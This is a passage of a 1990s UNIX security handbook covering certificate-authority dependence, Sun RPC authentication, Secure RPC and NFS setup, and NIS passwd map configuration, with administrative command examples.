WWW Security 		Next: 18.7 Summary

18.6 Dependence on Third Parties

It is impossible to eliminate one's dependence on other individuals and organizations. Computers need electricity to run, which makes most computer users dependent on their power company for continued operations. You can purchase an electrical generator or a solar power system, but this simply shifts the dependence from the power company to the firm that supplies the fuel to the generator, or the firm that makes replacement parts for the solar power system.[7]

[7] There is also a dependence on the continued operation of Sol itself.

Most organizations attempt to limit their risk by arranging for multiple suppliers of their key resources. For example, you might purchase your electricity from a utility, but have a diesel generator for backup. If you are a newspaper, you might have several suppliers for paper. That way, if you have a dispute with one supplier, you can still publish your newspaper by buying from another.

Likewise, it is important to be sure that you have multiple suppliers for all of your key computer resources. It is unwise to be in a position where the continued operation of your business depends on your continued relationship with an outside supplier, because this gives the supplier control over your business.

Today, there are many choices for organizations that are deploying Web servers. Web servers can be run on a wide variety of platforms, including UNIX, Windows, and Macintosh. And there are many different Web servers available for the same hardware.

There are fewer choices available when organizations need to purchase secure Web servers - that is, Web servers that provide for cryptographic protection of data and authentication of their users. This restriction is a result of the fact that the use of public-key cryptography in the United States will be covered by patents until the year 1997 (in the case of the Diffie-Hellman and Hellman-Merkle patents) or the year 2000 (in the case of the RSA patent). Currently, the use of these patents is controlled by two companies, Cylink, based in Sunnyvale, Calif., and RSA Data Security, based in Redwood City, California. Because of the existence of these patents, and because of the widespread adoption of the RSA technology by the Web community, it is highly unlikely that a server that implements cryptographic security will be produced and sold in the United States that is not licensed, directly or indirectly, by RSA Data Security.

One of the primary purposes of encryption is to provide absolute assurances to consumers that when the consumer contacts a Web server, the Web server actually belongs to the company to which it claims to belong. You can't trust the Web server itself. So companies such as Netscape Communications have turned to a trusted third party, Verisign Inc. Netscape has embedded Verisign's public key in both its Secure Commerce Server and its Web browser. The browser will not switch into its secure, encrypted mode unless it is presented a digital ID from the server that is signed by Verisign's secret key.

And Netscape is not alone. At the time of this writing (December 1995), all secure Web servers and browsers used Verisign as their trusted certification authority. Although there are plans for other such authorities, none currently exist.

This presents businesses with a dilemma. The reason is that digital ID's signed by Verisign must be renewed every year to remain valid. But Verisign is under no legal obligation to renew the IDs. This means that, should a dispute arise between Verisign and a company using a secure Web browser, Verisign could simply choose not to renew the company's key, and the company would lose the cryptographic capabilities of its program. Note this is not a problem with Verisign, per se, but with the whole scheme of certification authorities with whom you have no direct contractual relationship.

There are several solutions to this problem. The obvious one is for there to be alternative certification authorities, and for browsers and servers to accept digital identification credentials from any certification authority, giving the user the choice of whether or not the authority should be trusted. We have been told that these changes will be made in a future version of Netscape's Navigator. But we include this discussion to illustrate the risk of depending on third parties. Even if these risks are minimized in the Netscape products, third-party dependencies are likely to continue in many different forms. Be on the lookout for them!

Previous: 18.5 Risks of Web Browsers | Practical UNIX & Internet Security | Next: 18.7 Summary
18.5 Risks of Web Browsers | Book Index | 18.7 Summary


[Chapter 18] 18.7 Summary

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 18.6 Dependence on Third Parties Chapter 18
WWW Security 		Next: 19. RPC, NIS, NIS+, and Kerberos

18.7 Summary

One of the principal goals of good security management is to prevent the disclosure of privileged information. Running a WWW service implies providing information, quickly and in volume. These two ideas pose a serious conflict, especially given how recently these services and software have appeared and how rapidly they are evolving. We have no way of anticipating all the failure modes and problems these services may bring.

We strongly recommend that you consider running an WWW service on a stripped-down machine that has been especially designated for that purpose. Put the machine outside your firewall, and let the world have access to it ... and only to it.

Previous: 18.6 Dependence on Third Parties | Practical UNIX & Internet Security | Next: 19. RPC, NIS, NIS+, and Kerberos
18.6 Dependence on Third Parties | Book Index | 19. RPC, NIS, NIS+, and Kerberos


[Chapter 19] RPC, NIS, NIS+, and Kerberos

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 18.7 Summary Chapter 19 Next: 19.2 Sun's Remote Procedure Call (RPC)

19. RPC, NIS, NIS+, and Kerberos

Contents:
Securing Network Services
Sun's Remote Procedure Call (RPC)
Secure RPC (AUTH_DES)
Sun's Network Information Service (NIS)
Sun's NIS+
Kerberos
Other Network Authentication Systems

In the mid-1980s, Sun Microsystems developed a series of network protocols - Remote Procedure Call (RPC), the Network Information System (NIS, and previously known as Yellow Pages or YP[1]), and the Network Filesystem (NFS) - that let a network of workstations operate as if they were a single computer system. RPC, NIS, and NFS were largely responsible for Sun's success as a computer manufacturer: they made it possible for every computer user at an organization to enjoy the power and freedom of an individual, dedicated computer system, while reaping the benefits of using a system that was centrally administered.

[1] Sun stopped using the name Yellow Pages when the company discovered that the name was a trademark of British Telecom in Great Britain. Nevertheless, the commands continue to start with the letters "yp."

Sun was not the first company to develop a network-based operating system, nor was Sun's approach technically the most sophisticated. One of the most important features that was missing was security: Sun's RPC and NFS had virtually none, effectively throwing open the resources of a computer system to the whims of the network's users.

Despite this failing (or perhaps, because of it), Sun's technology soon became the standard. Soon the University of California at Berkeley developed an implementation of RPC, NIS, and NFS that interoperated with Sun's. As UNIX workstations became more popular, other companies, such as HP, Digital, and even IBM either licensed or adopted Berkeley's software, licensed Sun's, or developed their own.

Over time, Sun developed some fixes for the security problems in RPC and NFS. Meanwhile, a number of other competing and complementary systems - for example, Kerberos and DCE - were developed for solving many of the same problems. As a result, today's system manager has a choice of many different systems for remote procedure calls and configuration management, each with its own trade-offs in terms of performance, ease of administration, and security. This chapter describes the main systems available today and makes a variety of observations on system security. For a full discussion of NFS, see Chapter 20, NFS.

19.1 Securing Network Services

Any system that is designed to provide services over a network needs to have several fundamental capabilities:

  • A system for storing information on a network server

  • A mechanism for updating the stored information

  • A mechanism for distributing the information to other computers on the network

Early systems performed these functions and little else. In a friendly network environment, these are the only capabilities that are needed.

However, in an environment that is potentially hostile, or when an organization's network is connected with an external network that is not under that organization's control, security becomes a concern. To provide some degree of security for network services, the following additional capabilities are required:

  • Server authentication. Clients need to have some way of verifying that the server they are communicating with is a valid server.

  • Client authentication. Servers need to know that the clients are in fact valid client machines.

  • User authentication. There needs to be a mechanism for verifying that the user sitting in front of a client workstation is in fact who the user claims to be.

  • Data integrity. A system is required for verifying that the data received over the network has not been modified during its transmission.

  • Data confidentiality. A system is required for protecting information sent over the network from eavesdropping.

These capabilities are independent from one another. A system can provide for client authentication and user authentication, but also require that the clients implicitly trust that the servers on the network are, in fact, legitimate servers. A system can provide for authentication of the users and the computers, but send all information without encryption or digital signatures, making it susceptible to modification or monitoring en route.

Obviously, the most secure network systems provide all five network security capabilities.

Previous: 18.7 Summary | Practical UNIX & Internet Security | Next: 19.2 Sun's Remote Procedure Call (RPC)
18.7 Summary | Book Index | 19.2 Sun's Remote Procedure Call (RPC)


[Chapter 19] 19.2 Sun's Remote Procedure Call (RPC)

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 19.1 Securing Network Services Chapter 19
RPC, NIS, NIS+, and Kerberos 		Next: 19.3 Secure RPC (AUTH_DES)

19.2 Sun's Remote Procedure Call (RPC)

The fundamental building block of all network information systems is a mechanism for performing remote procedure calls. This mechanism, usually called RPC, allows a program running on one computer to more-or-less transparently execute a function that is actually running on another computer.

RPC systems can be categorized as blocking systems, which cause the calling program to cease execution until a result is returned, or as non-blocking (asynchronou s systems), which means that the calling program continues running while the remote procedure call is performed. (The results of a non-blocking RPC, if they are returned, are usually provided through some type of callback scheme.)

RPC allows programs to be distributed: a computationally intensive algorithm can be run on a high-speed computer, a remote sensing device can be run on another computer, and the results can be compiled on a third. RPC also makes it easy to create network-based client/server programs: the clients and servers communicate with each other using remote procedure calls.

One of the first UNIX remote procedure call systems was developed by Sun Microsystems for use with NIS and NFS. Sun's RPC uses a system called XDR (external data representation), to represent binary information in a uniform manner and bit order. XDR allows a program running on a computer with one byte order, such as a SPARC workstation, to communicate seamlessly with a program running on a computer with an opposite byte order, such as a workstation with an Intel x86 microprocessor. RPC messages can be sent with either the TCP or UDP IP protocols (currently, the UDP version is more common). After their creation by Sun, XDR and RPC were reimplemented by the University of California at Berkeley and are now freely available.

Sun's RPC is not unique. A different RPC system is used by the Open Software Foundation's Distributed Computing Environment (DCE). Yet another RPC system has been proposed by the Object Management Group. Called CORBA (Common Object Request Broker Architecture), this system is optimized for RPC between object-oriented programs written in C++ or SmallTalk.

In the following sections, we'll discuss the Sun RPC mechanism, as it seems to be the most widely used. The continuing popularity of NFS (described in Chapter 20) suggests that Sun RPC will be in widespread use for some time to come.

19.2.1 Sun's portmap/rpcbind

For an RPC client to communicate with an RPC server, many things must happen:

  • The RPC client must be running.

  • The RPC server must be running on the server machine (or it must be automatically started when the request is received).

  • The client must know on which host the RPC server is located.

  • The client and the server must agree to communicate on a particular TCP or UDP port.

The simplest way to satisfy this list of conditions is to have the UNIX computer start the server when the computer boots, to have the server running on a well-known host, and to have the port numbers predefined. This is the approach that UNIX takes with standard Internet services such as Telnet and SMTP.

The approach that Sun took for RPC was different. Instead of having servers run on a well-known port, Sun developed a program called portmap in SunOS 4.x, and renamed rpcbind in Solaris 2.x. We will refer to the program as the portmapper.

When an RPC server starts, it dynamically obtains a free UDP or TCP port, then registers itself with the portmapper. When a client wishes to communicate with a particular server, it contacts the portmapper process, determines the port number used by the server, and then initiates communication.

The portmapper approach has the advantage that you can have many more RPC services (in theory, 232) than there are IP port numbers (216).[2] In practice, however, the greater availability of RPC server numbers has not been very important. Indeed, one of the most widely used RPC services, NFS, usually has a fixed UDP port of 2049.

[2] Of course, you can't really have 232 RPC services, because there aren't enough programmers to write them, or enough computers and RAM for them to run. The reason for having 232 different RPC service numbers available was that different vendors could pick RPC numbers without the possibility of conflict. A better way to have reached this goal would have been to allow RPC services to use names, so that companies and organizations could have registered their RPC services using their names as part of the service names - but the designers didn't ask us.

The portmapper program also complicates building Internet firewalls, because you almost never know in advance the particular IP port that will be used by RPC-based services.

19.2.2 RPC Authentication

Client programs contacting an RPC server need a way to authenticate themselves to the server, so that the server can determine what information the client should be able to access, and what functions should be allowed. Without authentication, any client on the network that can send packets to the RPC server could access any function.

There are several different forms of authentication available for RPC, as described in Table 19.1. Not all authentication systems are available in all versions of RPC:

Table 19.1: RPC Authentication Options
System | Authentication Technique | Comments
AUTH_NONE | None | No authentication. Anonymous access.
AUTH_UNIX[3] | RPC client sends the UNIX UID and GIDs for the user. | Not secure. Server implicitly trusts that the user is who the user claims to be.
AUTH_DES | Authentication based on public key cryptography and DES | Reasonably secure, although not widely available from manufacturers other than Sun.
AUTH_KERB | Authentication based on Kerberos | Very secure, but requires that you set up a Kerberos Server (described later in this chapter). As with AUTH_DES, AUTH_KERB is not widely available.

[3] AUTH_UNIX is called AUTH_SYS in at least one version of Sun Solaris.

19.2.2.1 AUTH_NONE

Live fast, die young. AUTH_NONE is bare-bones RPC with no user authentication. You might use it for services that require and provide no useful information, such as time of day. On the other hand, why do you want other computers on the network to be able to find out the setting of your's system's time-of-day clock? (Furthermore, because the system's time of day is used in a variety of cryptographic protocols, even that information might be usable in an attack against your computer.)

19.2.2.2 AUTH_UNIX

AUTH_UNIX was the only authentication system provided by Sun through Release 4.0 of the SunOS operating systems, and it is the only form of RPC authentication offered by many UNIX vendors. It is widely used. Unfortunately, it is fundamentally unsecure.

With AUTH_UNIX, each RPC request is accompanied with a UID and a set of GIDS[4] for authentication. The server implicitly trusts the UID and GIDS presented by the client, and uses this information to determine if the action should be allowed or not. Anyone with access to the network can craft an RPC packet with any arbitrary values for UID and GID. Obviously, AUTH_UNIX is not secure, because the client is free to claim any identity, and there is no provision for checking on the part of the server.

[4] Some versions of RPC present eight additional GIDs, while others present up to 16.

In recent years, Sun has changed the name AUTH_UNIX to AUTH_SYS. Nevertheless, it's still the same system.

19.2.2.3 AUTH_DES

AUTH_DES is the basis of Sun's "Secure RPC" (described later in this chapter). AUTH_DES uses a combination of secret key and public key cryptography to allow security in a networked environment. It was developed several years after AUTH_UNIX, and is not widely available on UNIX platforms other than Sun's SunOS and Solaris 2.x operating systems.

19.2.2.4 AUTH_KERB

AUTH_KERB is a modification to Sun's RPC system that allows it to interoperate with MIT's Kerberos system for authentication. Although Kerberos was developed in the mid 1980s, AUTH_KERB authentication for RPC was not incorporated into Sun's RPC until the early 1990s.

NOTE: Carefully review the RPC services that are configured into your system for automatic start when the system boots, or for automatic dispatch from the inetd (see Chapter 17, TCP/IP Services). If you don't need a service, disable it.

In particular, if your version of the rexd service cannot be forced into only accepting connections authenticated with Kerberos or Secure RPC, then it should be turned off. The rexd daemon (which executes commands issued with the on command) otherwise is easily fooled into executing commands on behalf of any non-root user.

Previous: 19.1 Securing Network Services | Practical UNIX & Internet Security | Next: 19.3 Secure RPC (AUTH_DES)
19.1 Securing Network Services | Book Index | 19.3 Secure RPC (AUTH_DES)


[Chapter 19] 19.3 Secure RPC (AUTH_DES)

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 19.2 Sun's Remote Procedure Call (RPC) Chapter 19
RPC, NIS, NIS+, and Kerberos 		Next: 19.4 Sun's Network Information Service (NIS)

19.3 Secure RPC (AUTH_DES)

In the late 1980s, Sun Microsystems developed a system for improving UNIX network security. Called Secure RPC, Sun's system was first released with the SunOS 4.0 operating system. Although early versions of Secure RPC were difficult to use, later releases of the Solaris operating system have integrated Secure RPC into Sun's NIS+ network information system (described later in this chapter), which makes administration very simple.

Secure RPC is based on a combination of public key cryptography and secret key cryptography, which we describe in Chapter 6, Cryptography. Sun's implementation uses the Diffie-Hellman mechanism for key exchange between users, and DES secret key cryptography for encrypting information that is sent over the network. DES is also used to encrypt the user's secret key that is stored in a central network server. This encryption eliminates the need for users to memorize or carry around the hundred-digit numbers that make up their secret keys.

Secure RPC solves many of the problems of AUTH_UNIX style authentication. Because both users and computers must be authenticated, it eliminates many of the spoofing problems to which other systems lend themselves. Indeed, when used with higher-level protocols, such as NFS, Secure RPC can bring unprecedented security to the networked environment. Nevertheless, Secure RPC, has not enjoyed the widespread adoption that Sun's original RPC did. There are probably several reasons:

  • The University of California at Berkeley did not write a free implementation of Secure RPC.[5] As a result, the only way for vendors to implement Secure RPC was to write their own version (an expensive proposition) or to license the code from Sun.

    [5] Because Secure RPC is based on public key cryptography, using it within the United States would have required a license from the holder of the particular patents in question. At the time that Berkeley was developing its free version of the UNIX operating system, the holder of the public key cryptography patents, a California partnership called Public Key Partners, was notoriously hesitant to give licenses to people who were writing free versions of programs implementing the PKP algorithms. This situation might change after 1997, when the patents covering Diffie-Hellman cryptography expire.

  • For whatever reason, many UNIX vendors were unwilling or unable to license or implement Secure RPC from Sun. Thus, it is not possible to interoperate with those systems.

19.3.1 Secure RPC Authentication

Secure RPC authentication is based on the Diffie-Hellman exponential key exchange system. Each Secure RPC principal[6] has a secret key and a public key, both of which are stored on the Secure RPC server. The public key is stored unencrypted; the secret key is stored encrypted with the principal's password. Both keys are typically hexadecimal numbers of several hundred digits.

[6] Secure RPC principals are users that have Secure RPC passwords and computers that are configured to use Secure RPC.

A Secure RPC principal proves his, her or its identity by being able to decrypt the stored secret key and participating in the Diffie-Hellman key exchange. Each principal combines its secret key with the other's public key, allowing both to arrive independently at a common mutually known key. This key is then used to exchange a session key.

19.3.1.1 Proving your identity

The way you prove your identity with a public key system is by knowing your secret key. Unfortunately, most people aren't good at remembering hundred-digit numbers, and deriving a good pair of numbers for a {public key, secret key} pair from a UNIX password is relatively difficult.

Sun solves these problems by distributing a database consisting of usernames, public keys, and encrypted secret keys using the Sun NIS or NIS+ network database system. (Both NIS and NIS+ are described later in this chapter.) The secret key is encrypted using the user's UNIX password as the key and the DES encryption algorithm. If you know your UNIX password, your workstation software can get your secret key and decrypt it.

For each user, the following information is maintained:[7]

[7] The information could be maintained in the files /etc/publickey and /etc/netid. If you are using NIS, the data is stored in the NIS maps publickey.byname and netid.byname. With NIS+, all of this information is combined in a single NIS+ table cred.org_dir.

Netname or canonical name

This is the user's definitive name over the network. An example is fred.sun.com, which signifies the user fred in the domain sun.com. Older versions of NIS used the form UID.UNIX@domain.

User's public key

A hexadecimal representation of the user's public key.

User's secret key

A hexadecimal representation of the user's secret key, encrypted using the user's password.

The user's keys are created with either the chkey command or the nisaddcred command. Normally, this process is transparent to the user.

When the user logs in to a computer running Secure RPC, the computer obtains a copy of the user's encrypted secret key. The computer then attempts to decrypt the secret key using the user's provided password. The secret key must now be stored for use in communication with the Secure RPC server. In Version 4.1 and above, the unencrypted key is kept in the memory of the keyserv key server process. (In the original version of Secure RPC, shipped with SunOS 4.0, the unencrypted secret key is then stored in the /etc/keystore file. This was less secure, as anyone gaining access to the user's workstation as either that user or as root would be able to easily access the user's secret key.)

Next, the software on the workstation uses the user's secret key and the server's public key to generate a session key. (The server meanwhile has done the same thing using its secret key and the user's public key). The workstation then generates a random 56-bit conversation key and sends it to the server, encrypted with the session key. The conversation key is used for the duration of the login, and is stored in the key server process.

The file server knows that the user is who he claims to be because:

  • The packet that the user sent was encrypted using a conversation key.

  • The only way that the user could know the conversation key would be by generating it, using the server's public key and the user's secret key.

  • To know the user's secret key, the workstation had to look up the secret key using NIS and decrypt it.

  • To decrypt the encrypted secret key, the user had to have known the key that it was encrypted with--which is, in fact, the user's password.

Notice the following:

  • The user's password is never transmitted over the network.

  • The only time the secret key is transmitted over the network is when it is encrypted using the user's password.

  • There is no "secret" information on the file server that must be protected from attackers.[8]

    [8] In contrast, the Kerberos system, as we shall see, requires that the master Kerberos Server be protected literally with lock and key; if the information stored on the Kerberos Server is stolen by an attacker, the entire system is compromised.

  • The entire security of the system depends on the difficulty of breaking a 56-bit key.

Because public key encryption is slow and difficult to use for large amounts of data, the only thing that it is used for is initially proving your identity and exchanging the session key. Secure RPC then uses the session key and DES encryption (described in Chapter 6) for all subsequent communications between the workstation and the server.

19.3.1.2 Using Secure RPC services

After your workstation and the server have agreed upon a session key, Secure RPC authenticates all RPC requests.

When your workstation communicates with a server, the user provides a netname which the server is supposed to translate automatically into a local UID and GID. Ideally, this means that the user's UID on the server does not have to be the same as the user's UID on the workstation. In practice, most organizations insist that its users have a single UID through the organization, so the ability of Secure RPC to map UIDS from one computer to another is not terribly important.

When your session key expires, your workstation and the server automatically renegotiate a new session key.

19.3.1.3 Setting the window

Inside the header sent with every Secure RPC request is a timestamp. This time-stamp prevents an attacker from capturing the packets from an active session and replaying them at a later time.

For a timestamp-based system to operate properly, it's necessary for both the client and the server to agree on what time it is. Unfortunately, the real-time clocks on computers sometimes drift in relation to one another. This can present a serious problem to the user of Secure RPC: if the clock on the workstation and the clock on the file server drift too far apart, the server will not accept any more requests from the client! The client and server will then have to reauthenticate each other.

Because reauthenticating takes time, Secure RPC allows the workstation system administrator to set the "window" that the server uses to determine how far the client's clock can drift and remain acceptable. Obviously, using a large window reduces the danger of drift. Unfortunately, large windows similarly increase the chance of a playback attack, in which an attacker sniffs a packet from the network, then uses the authenticated credentials for his or her own purposes. Larger windows increase the possibility of a playback attack because any packet that is intercepted will be good for a longer period of time.

Solaris versions 2.3 and 2.4 use a default window of 60 minutes; Solaris version 2.5 uses a window of 300 seconds (5 minutes). This window is what Sun Microsystems recommends for security-sensitive applications.

The size of the Secure RPC window is set in the kernel by the variable authdes_win, which stores the value of the window in seconds. On a System VR4 machine such as Solaris 2.x, you modify the authdes_win variable from the /etc/system file:

set nfs:authdes_win=300

You then reboot with the modified /etc/system file.

If you have a SunOS system, you can modify the value of _authdes_win by using the adb debugger program. Execute the following commands as superuser:

# adb -w /vmunix
- authdes_win?D
_authdes_win: _authdes_win: 3600									 		The default window
?W0t600
_authdes_win: 0xe10 = 0x258 _authdes_win: 300
$q											 Write the result out
#

You do not need to reboot under SunOS, as the adb command modifies both the kernel and the running image.

Using a network time service like NTP (Network Time Protocol) can eliminate time skew between servers and workstations. Even without NTP, clocks typically don't skew more than five seconds during the course of a single day's operation. However, NTP servers can get skewed, and sometimes can even be maliciously led astray of the correct time. If you are depending on the correct time for a protocol, you might consider obtaining a clock that synchronizes with a radio time signal, so that you can set up your own time server.

19.3.2 Setting Up Secure RPC with NIS

To use Secure RPC, your client computers need a way of obtaining keys from the Secure RPC server. You can distribute the keys in standard UNIX files, or you can have them distributed automatically with either NIS or NIS+.[9]

[9] If you are using Secure RPC on something other than a Sun system, be sure to check your documentation - there may be some other way to distribute the key information.

The easiest way to set up Secure RPC is to set up NIS+. Sun's NIS+ requires Secure RPC to function properly. As a result, the NIS+ installation procedure will automatically create the appropriate Secure RPC keys and credentials. When you add new NIS+ users, their Secure RPC keys will automatically be created.

Running Secure RPC with NIS is more difficult. You will need to manually create the keys and place them in the appropriate NIS maps. If you are not using NIS, you can simply place the keys in the file /etc/publickey. For detailed information, you should refer to your vendor documentation for explicit instructions on how to set up Secure RPC. Nevertheless, this guide may be helpful.

19.3.2.1 Creating passwords for users

Before you enable Secure RPC, make sure that every user has been assigned a public key and a secret key. Check the file /etc/publickey on the master NIS server. If a user doesn't have an entry in the database, you can create an entry for that user by becoming the superuser on the NIS master server and typing:

#  newkey -u username

Alternatively, you create an entry in the database for the special user nobody. After an entry is created for nobody, users can run the chkey program on any client to create their own entries in the database.

19.3.2.2 Creating passwords for hosts

Secure RPC also allows you to create public key/secret key pairs for the superuser account on each host of your network. To do so, type:

# newkey -h hostname

19.3.2.3 Making sure Secure RPC programs are running on every workstation

Log into a workstation and make sure that the keyserv and ypbind daemons are running. The programs should be started by a command in the appropriate system startup file (e.g., /etc/rc.local for BSD-derived systems, and /etc/rc2.d/s?rpc for System V-derived systems). You also need to make sure that the rpc.yp.updated is run from either inetd.conf or rc.local on the server.

You can check for these daemons with the ps command (you would use the -ef flags to ps on a Solaris 2.X system):

% ps aux | egrep 'keyserv|ypbind'
root 63 0.0 0.0 56 32 ? IW Jul 30 0:30
keyserv  root 60 0.3 0.7 928 200 ? S Jul 30 3:10 ypbind

You should log onto an NIS client and make sure that the publickey map is available. Use the ypcat publickey command. If the map is not available, log into the server and push it.

NOTE: There is a very nasty vulnerability with rpc.ypupdated that allows external users access on servers or clients. See "CERT advisory CA-95:17. rpc.ypupdated.vul."

19.3.2.4 Using Secure NFS

Once you've gone to all of the trouble of setting up Secure RPC, your next step is to set up Secure NFS. We'll cover this in detail in Chapter 20. But if you want to go ahead and do it right now, here are the steps to follow for a BSD-derived system such as SunOS; the procedure is the same, but the filenames are different for other systems.

On the file server, edit the /etc/exports file and add the -secure option for every filesystem that should be exported using Secure NFS. For example, suppose the old /etc/exports file exported the mail spool directory /usr/spool/mail with the line:

/usr/spool/mail -access=allws

To make the filesystem be exported using Secure NFS, change the line to read:

/usr/spool/mail -secure,access=allws

After changing /etc/exports, you need to do an exportfs (or equivalent).

19.3.2.5 Mounting a secure filesystem

You must modify the /etc/fstab file on every workstation that mounts a Secure NFS filesystem to include the secure option as a mount option.

To continue the above example, suppose your workstation mounted the /usr/spool/mail directory with the line:

mailhub:/usr/spool/mail /usr/spool/mail nfs rw,intr,bg 0 0

To mount this filesystem with the secure option, you would change the line to read:

mailhub:/usr/spool/mail /usr/spool/mail nfs rw,intr,bg,secure 00

After changing /etc/fstab, you need to umount and mount the filesystems again.

19.3.3 Using Secure RPC

Using Secure RPC is very similar to using standard RPC. If you log in by typing your username and password (either at the login window on the console or by using telnet or rlogin to reach your machine), your secret key is automatically decrypted and stored in the key server. Secure RPC automatically performs the authentication "handshake" every time you contact a service for the first time. In the event that your session key expires - either because of a time expiration or a crash and reboot - Secure RPC automatically obtains another session key.

If you log in over the network without having to type a password - for example, you use rlogin to reach your computer from a trusted machine - you will need to use the keylogin program to have your secret key calculated and stored in the key server. Unfortunately, this will result in your key being sent over the network and makes it subject to eavesdropping.

Before you log out of your workstation, be sure to run the keylogout program to destroy the copy of your secret key stored in the key server. If you use csh as your shell, you can run this program automatically by placing the command keylogout in your ~/.logout file:

#
# ~/.logout file
#
# Destroy secret keys
keylogout

19.3.4 Limitations of Secure RPC

Sun's Secure RPC represents a quantum leap in security over Sun's standard RPC. This is good news for sites that use NFS: with Secure RPC, NFS can be used with relative safety. Nevertheless, Secure RPC it is not without its problems:

  • Every network client must be individually modified for use with Secure RPC. Although Secure RPC is a transparent modification to Sun's underlying RPC system, the current design of Sun's RPC library requires an application program to specify individually which authentication system (AUTH_NONE, AUTH_UNIX, AUTH_DES, or AUTH_KERB) the program wants to use. For this reason, every client that uses a network service must be individually modified to use AUTH_DES authentication.

    Although the modifications required are trivial, a better approach would be to allow the user to specify the authentication service requested in an environment variable, or on some other per-user or per-site, rather than per-program, basis.[10]

    [10] We said the same thing five years ago, in the first version of this book.

  • There is a performance penalty. Secure RPC penalizes every RPC transaction that uses it, because the RPC authenticator must be decrypted using DES to verify each transmission. Fortunately, the performance penalty is small: On a Sun-4, only 1.5 milliseconds are required for the decryption. In comparison, the time to complete an average NFS transaction is about 20 milliseconds, making the performance penalty about eight percent.

  • Secure RPC does not provide for data integrity or confidentiality. Secure RPC authenticates the user, but it does not protect the data that is transmitted with either encryption or digital signatures. It is the responsibility of programs using Secure RPC to encrypt using a suitable key and algorithm.

  • It may be possible to break the public key. Any piece of information encrypted with the Diffie-Hellman public key encryption system used in Secure RPC can be decrypted if an attacker can calculate the discrete logarithm of the public key. In 1989, Brian LaMacchia and Andrew Odlyzko at AT&T's Bell Laboratories in New Jersey discovered a significant performance improvement for the computation of discrete logarithms. Since then, numerous other advances in this field of mathematics have taken place. Secure RPC makes the public key and the encrypted secret key available to RPC client computers on the network. Thus, keys that are secure today may be broken tomorrow.

  • It may be possible to break the secret key. The Secure RPC secret key is encrypted with a 56-bit DES key and is made publicly available on the network server. As computers become faster, the possibility of a brute force attack against the user's encrypted secret key may become a reality.

In the final analysis, using Secure RPC appears to provide much better protection than many other approaches, especially with multiuser machines. Secure RPC is clearly better than plain RPC. Unfortunately, because Secure RPC requires the use of either NIS or NIS+, some multi-vendor sites have chosen not to use it. These sites should consider DCE, which provides a workable solution for a heterogeneous environment.

Previous: 19.2 Sun's Remote Procedure Call (RPC) | Practical UNIX & Internet Security | Next: 19.4 Sun's Network Information Service (NIS)
19.2 Sun's Remote Procedure Call (RPC) | Book Index | 19.4 Sun's Network Information Service (NIS)


[Chapter 19] 19.4 Sun's Network Information Service (NIS)

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 19.3 Secure RPC (AUTH_DES) Chapter 19
RPC, NIS, NIS+, and Kerberos 		Next: 19.5 Sun's NIS+

19.4 Sun's Network Information Service (NIS)

Sun's Network Information Service (NIS) is a distributed database system that lets many computers share password files, group files, host tables, and other files over the network. Although the files appear to be available on every computer, they are actually stored on only a single computer, called the NIS master server (and possibly replicated on a backup, or slave server). The other computers on the network, NIS clients, can use the databases stored on the master server (like /etc/passwd) as if they were stored locally. These databases are called NIS maps.

With NIS, a large network can be managed more easily because all of the account and configuration information (such as /etc/passwd file) needs to be stored on only a single machine.

Some files are replaced by their NIS maps. Other files are augmented. For these files, NIS uses the plus sign ( +) to tell the system that it should stop reading the file (e.g., /etc/passwd) and should start reading the appropriate map (e.g., passwd). The plus sign tells the UNIX programs that scan that database file to ask the NIS server for the remainder of the file. The server retrieves this information from the NIS map. The server maintains multiple maps; these maps normally correspond to files stored in the /etc directory such as /etc/passwd, /etc/hosts, and /etc/services. This structure is shown in Figure 19.1.

For example, the /etc/passwd file on a client might look like this:

root:si4N0jF9Q8JqE:0:1:Mr. Root:/:/bin/sh
+::0:0:::

This causes the program reading /etc/passwd on the client to make a network request to read the passwd map on the server. Normally, the passwd map is built from the server's /etc/passwd file, although this need not necessarily be the case.

Figure 19.1: How NIS works

19.4.1 Including or excluding specific accounts:

You can restrict the importing of accounts to particular users by following the "+" symbol with a particular username. For example, to include only the user george from your NIS server, you could use the following entry in your /etc/passwd file:

root:si4N0jF9Q8JqE:0:1:Mr. Root:/:/bin/sh
+george::120:5:::

Note that we have included george's UID and GID. You must include the UID so that the function getpwuid() will work properly. However, getpwuid() actually goes to the NIS map and overrides the UID and GID values that you specify.

You can also exclude certain usernames from being imported by inserting a line that begins with a minus sign. When NIS is scanning the /etc/passwd file, it will stop when it finds the first line that matches. Therefore, if you wish to exclude a specific account but include others that are on the server, you must place the lines beginning with the minus sign before the lines beginning with the "+" symbol.

For example, to exclude zachary's account and to include the others from the server, you might use the following /etc/passwd file:

root:si4N0jF9Q8JqE:0:1:Mr. Root:/:/bin/sh
-zachary:::2001:102::
+::0:0:::

Note again that we have included zachary's UID and GID.

19.4.2 Importing accounts without really importing accounts

NIS allows you to selectively import some fields from the /etc/passwd database but not others. For example, if you have the following entry in your /etc/passwd file:

root:si4N0jF9Q8JqE:0:1:Mr. Root:/:/bin/sh
+:*:0:0:::

Then all of the entries in the NIS passwd map will be imported, but each will have its password entry changed to *, effectively preventing it from being used on the client machine.

Why might you want to do that? Well, by importing the entire map, you get all the UIDS and account names, so that ls -l invocations show the owner of files and directories as usernames. The entry also allows the ~user notation in the various shells to correctly map to the user's home directory (assuming that it is mounted using NFS).

19.4.3 NIS Domains

When you configure an NIS server, you must specify an NIS domain. These domains are not the same as DNS domains. While DNS domains specify a region of the Internet, NIS domains specify an administrative group of machines.

The UNIX domainname command is used to display and to change your domainname. Without an argument, the command prints the current domain:

% domainname
EXPERT
%

You can specify an argument to change your domain:

# domainname BAR-BAZ
#

Note that you must be the superuser to set your computer's domain. Under Solaris 2.x, the computer's domainname is stored in the file /etc/defaultdomain, and set automatically on system startup by the shell script /etc/rc2.d/S69inet. A computer can only be in one NIS domain at a time, but it can serve any number of NIS domains.

NOTE: Although you might be tempted to use your Internet domain as your netgroup domain, we strongly recommend against this. Setting the two domains to the same name has caused problems with some versions of sendmail. It is also a security problem to use an NIS domain that can be easily guessed. Hacker toolkits that attempt to exploit NIS or NFS bugs almost always try variations of the Internet domainname as the NIS domainname before trying anything else. (Of course, the domainname can still be determined in other ways.)

19.4.4 NIS Netgroups

